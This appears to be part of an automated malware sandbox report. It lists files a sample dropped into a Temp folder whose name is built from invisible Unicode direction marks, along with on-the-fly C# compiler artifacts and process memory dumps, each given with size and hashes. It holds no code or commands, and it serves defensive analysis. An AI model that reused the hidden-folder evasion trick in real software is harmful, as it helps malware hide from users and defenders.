7567f63a4e332648aff3572e5ec537b6148bdab6e291c548022f71a54a1f0d49464f1387d57ceec884788ed0cf4c2f8618adc84bc7f3b71f12d0ea47364ab441

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏ ‎ ‏ \Common Files\Documents\BackupStart.vdw

Filesize
318KB

MD5
99d4143e4ae1eaaeb8ec14fd9012ba41

SHA1
439629dc802788a655f896a1cc8c89026e2333b1

SHA256
349197b597c85765b91f721edccc9525524e3feb9147888ad634376a5b3b56be

SHA512
0bd8af019dbedd8397d08640cb7a453a69edad262601cedf7f89965a6778ec76d403c73e2a85b380a6f32b34a69d34d3672f4d9eaadef805e996133a4057713e

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏ ‎ ‏ \Common Files\Documents\BackupWatch.xlsx

Filesize
9KB

MD5
426983ab95332c85149056c916a4458c

SHA1
bf467a92c8e525880b85bfc94a51d588eac8d6af

SHA256
f068586c995f60eb6d6207d0d13306a44cce3b6a9c816580f1fb68ae6fcf8db1

SHA512
cbb263b1625a93911b1df6f87f87020c0cc0a9e8330d8fc500f2b87929c42216a81a587245b54818610d45b87af4bf894abe41fc715d509b9afe1c4112955aa8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏ ‎ ‏ \Common Files\Documents\CompressOut.xlsx

Filesize
9KB

MD5
dd3d373f774e05633dc827981fc8e748

SHA1
c26250c4ce4179a5293b38a4263e22b6954ddb9b

SHA256
0b23fe3e524e5019889527b00e304d44868bf1c4368aa75e5232cc219c438703

SHA512
8cde1b4e9f23e9507168138523aa58ddf81ae9cee18200a7b8cb9c8d881f17afcd9db76ca45f3898ead0e64cdab0b0d4e0684f45894929bcbd155d78ade329f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏ ‎ ‏ \Common Files\Documents\CopyLimit.xls

Filesize
499KB

MD5
587f6b4d66d336e61181f0be24b31df7

SHA1
a55516172a83d88138467051c1d7baafeb94dee6

SHA256
49c2324d6ca5454d7f20cc83ff9c6d5193630b36ef0d6deb2bb0b496b30d7606

SHA512
4b2222788cdc995ea00d241d6668d8de083679db48dbadea748fad58f0fb202109ada55c9ff1fb67905c1df8d8af41ba69c97bb9ce47649906cf0266d661ee2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏ ‎ ‏ \Common Files\Documents\DismountPush.docx

Filesize
20KB

MD5
2e3f1a0e1443ff427562c818575c44ae

SHA1
641df3da0eb548e6115aeca7ff08f718e496b207

SHA256
b5b7e588058984b63401ea0eaa74a7d28a6c1eb06a0698df6d4b8e5f4662cca7

SHA512
bb6f1d2e7c6837eb6238875c17a0863118fde9102d157ddc6b64aa83f8ac5398a1e2a4a2fb12183f2d1737f1fc801a11df4f24d8f8abac3dbc88b306bd7d0738

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏ ‎ ‏ \Common Files\Documents\NewDebug.txt

Filesize
772KB

MD5
9005e47d6d5895cafd43b62f30f81ee5

SHA1
838e4ce17f15ea1a3104883ffee821ecbfb9f4f5

SHA256
55637fe386dfc0d1dc1d7ef0eb8cbf452e5a554845626a2054383fd1fd1f3c0c

SHA512
db3e2fd2203205756180a3972c3c96e61968a0a1e2de51dc523657954ae677b64595b9d6209b33e382d8e385f1ae1b8f817764bd562fcccb5b54673ddca38051

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏ ‎ ‏ \Common Files\Documents\OutSelect.csv

Filesize
515KB

MD5
699e79c37b2965732700fbd6e13ab1b0

SHA1
7f04b0dd4102b41b010774515815f526be7edc05

SHA256
d15d79363b5d1b19c6b6b1ad5baa3ce1006028794cc629e9810e96257239cc18

SHA512
260588ad1d70246b1454727d16033c8dc208c29c76c939cf9dee7fee6a296d7bd3f9ee7d7f1a4e5bc0948d6e59ce10e241f05f595dba1e7a20a3b2b2e82e2984

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏ ‎ ‏ \Common Files\Documents\UnlockPush.csv

Filesize
212KB

MD5
e7bc8f4392defbc251035d1445a7c46b

SHA1
ad26dca46163c1a8ec7a28477dae789336228b62

SHA256
fe416cf9c5dd1cefc58a1543a355e024d3bff902eb7e6241c498b3109f69ff09

SHA512
3234db4893fb4b892a21eae406d312ac418e69053b4bf8ce55b2002afa74757ea9bba7a34bb7f249621bd485ad38417dbb4e7f92982291874782a65ba2e79c81

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏ ‎ ‏ \Common Files\Documents\UnpublishOptimize.xlsx

Filesize
9KB

MD5
d485d1fdef18148041782dd78d6f2d88

SHA1
53571ea3635f3dfdf80f7d24852317ecc539d985

SHA256
dc0ede1a122ceb04269f66d005a0a16d1902c06a801fb7d625d9194499a9c5bc

SHA512
2099388280a517c8918e80dd47fcda6a1da1fd9d5f8c99e4b91e6d1d2e166610d443ad7c8945975cb5b8c62d40f8d11f33dec2e4572833ec3af5eb6ce8db8611

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏ ‎ ‏ \Common Files\Documents\UnregisterBackup.mht

Filesize
302KB

MD5
046240fb62e7b1e1b9ddc62c645a1aad

SHA1
7f6e54b0d540a412b66fa69e15f72ebddddc87dc

SHA256
2f55d24ba0cb687330327692f5b4b09752a3e03b3cfecbcbba61767c17cde5f1

SHA512
9968e3c22de4b0274e0d1cf719321eae2e28933143d1fb408d4bc6d4088a19da4378d65566d358d818104056ced4932d1f8f8186194ba3518c5c8b41f4147d96

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\b0jxhvyl\CSC2C79E6589FB042FF8787EF939AD2A61A.TMP

Filesize
652B

MD5
04b66ab9de03de318095ff02fab338ff

SHA1
1915ce95da91d25a15f81b0a8fa1c7ab0f01a0c5

SHA256
ed30d8867ae640757e5d41264aa8800b984aa5c7a1cd08d4b729d95d65452302

SHA512
e08c0b493ad7585c97d5554abdf2869939b8144bc194610ff63adc7630b75075eddeabb5550fd1b28c6b10c5c8fe2d1181e2c5b2fd49565e4b66e217b16f6a82

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\b0jxhvyl\b0jxhvyl.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\b0jxhvyl\b0jxhvyl.cmdline

Filesize
607B

MD5
0090df324994e9efe94833d873375eb5

SHA1
2b4bd58683ce6f80e2ceda56b4ef36f278769216

SHA256
aafe456018123d04784024b080fb069ff406ff12f09cd12a2d3d5952f96d5898

SHA512
ec7c83ed7e9358b6e60d45a3c970138453eeb61461fe40dfed15b11e24d93224bd91500674dfb25deb355300152238ec0af45b1899bce5b65983acbafc83fbc9

Download Submit
memory/488-48-0x00007FFEE9760000-0x00007FFEE976F000-memory.dmp

Filesize
60KB

Download
memory/488-76-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp

Filesize
52KB

Download
memory/488-75-0x00007FFEE3BC0000-0x00007FFEE3BD4000-memory.dmp

Filesize
80KB

Download
memory/488-79-0x00007FFEDF690000-0x00007FFEDF7AC000-memory.dmp

Filesize
1.1MB

Download
memory/488-77-0x00007FFEE2FD0000-0x00007FFEE2FFD000-memory.dmp

Filesize
180KB

Download
memory/488-190-0x00007FFEDFCD0000-0x00007FFEDFE3F000-memory.dmp

Filesize
1.4MB

Download
memory/488-67-0x00007FFEDD030000-0x00007FFEDD61A000-memory.dmp

Filesize
5.9MB

Download
memory/488-245-0x00007FFEE5320000-0x00007FFEE5339000-memory.dmp

Filesize
100KB

Download
memory/488-70-0x00007FFECE6C0000-0x00007FFECEA35000-memory.dmp

Filesize
3.5MB

Download
memory/488-71-0x00007FFEE96F0000-0x00007FFEE9713000-memory.dmp

Filesize
140KB

Download
memory/488-24-0x00007FFEDD030000-0x00007FFEDD61A000-memory.dmp

Filesize
5.9MB

Download
memory/488-68-0x00007FFEE2F70000-0x00007FFEE2F9E000-memory.dmp

Filesize
184KB

Download
memory/488-303-0x00007FFEE9760000-0x00007FFEE976F000-memory.dmp

Filesize
60KB

Download
memory/488-62-0x00007FFEE5320000-0x00007FFEE5339000-memory.dmp

Filesize
100KB

Download
memory/488-60-0x00007FFEDFCD0000-0x00007FFEDFE3F000-memory.dmp

Filesize
1.4MB

Download
memory/488-58-0x00007FFEE2FA0000-0x00007FFEE2FC3000-memory.dmp

Filesize
140KB

Download
memory/488-56-0x00007FFEE54F0000-0x00007FFEE5509000-memory.dmp

Filesize
100KB

Download
memory/488-54-0x00007FFEE2FD0000-0x00007FFEE2FFD000-memory.dmp

Filesize
180KB

Download
memory/488-47-0x00007FFEE96F0000-0x00007FFEE9713000-memory.dmp

Filesize
140KB

Download
memory/488-143-0x00007FFEE2FA0000-0x00007FFEE2FC3000-memory.dmp

Filesize
140KB

Download
memory/488-72-0x00007FFEDFEC0000-0x00007FFEDFF78000-memory.dmp

Filesize
736KB

Download
memory/488-316-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp

Filesize
52KB

Download
memory/488-64-0x00007FFEE9750000-0x00007FFEE975D000-memory.dmp

Filesize
52KB

Download
memory/488-265-0x00007FFEE2F70000-0x00007FFEE2F9E000-memory.dmp

Filesize
184KB

Download
memory/488-266-0x00007FFECE6C0000-0x00007FFECEA35000-memory.dmp

Filesize
3.5MB

Download
memory/488-285-0x00007FFEDFEC0000-0x00007FFEDFF78000-memory.dmp

Filesize
736KB

Download
memory/488-286-0x00007FFEDD030000-0x00007FFEDD61A000-memory.dmp

Filesize
5.9MB

Download
memory/488-292-0x00007FFEDFCD0000-0x00007FFEDFE3F000-memory.dmp

Filesize
1.4MB

Download
memory/488-287-0x00007FFEE96F0000-0x00007FFEE9713000-memory.dmp

Filesize
140KB

Download
memory/488-301-0x00007FFEDD030000-0x00007FFEDD61A000-memory.dmp

Filesize
5.9MB

Download
memory/488-311-0x00007FFECE6C0000-0x00007FFECEA35000-memory.dmp

Filesize
3.5MB

Download
memory/488-325-0x00007FFEE2F70000-0x00007FFEE2F9E000-memory.dmp

Filesize
184KB

Download
memory/488-327-0x00007FFEDF690000-0x00007FFEDF7AC000-memory.dmp

Filesize
1.1MB

Download
memory/488-326-0x00007FFEE3BC0000-0x00007FFEE3BD4000-memory.dmp

Filesize
80KB

Download
memory/488-324-0x00007FFEE9750000-0x00007FFEE975D000-memory.dmp

Filesize
52KB

Download
memory/488-323-0x00007FFEE5320000-0x00007FFEE5339000-memory.dmp

Filesize
100KB

Download
memory/488-322-0x00007FFEDFCD0000-0x00007FFEDFE3F000-memory.dmp

Filesize
1.4MB

Download
memory/488-321-0x00007FFEE2FA0000-0x00007FFEE2FC3000-memory.dmp

Filesize
140KB

Download
memory/488-320-0x00007FFEE54F0000-0x00007FFEE5509000-memory.dmp

Filesize
100KB

Download
memory/488-319-0x00007FFEE2FD0000-0x00007FFEE2FFD000-memory.dmp

Filesize
180KB

Download
memory/488-318-0x00007FFEDFEC0000-0x00007FFEDFF78000-memory.dmp

Filesize
736KB

Download
memory/488-317-0x00007FFEE96F0000-0x00007FFEE9713000-memory.dmp

Filesize
140KB

Download
memory/4644-178-0x00000235E63E0000-0x00000235E63E8000-memory.dmp

Filesize
32KB

Download
memory/5004-85-0x000001CBCAD00000-0x000001CBCAD22000-memory.dmp

Filesize
136KB

Download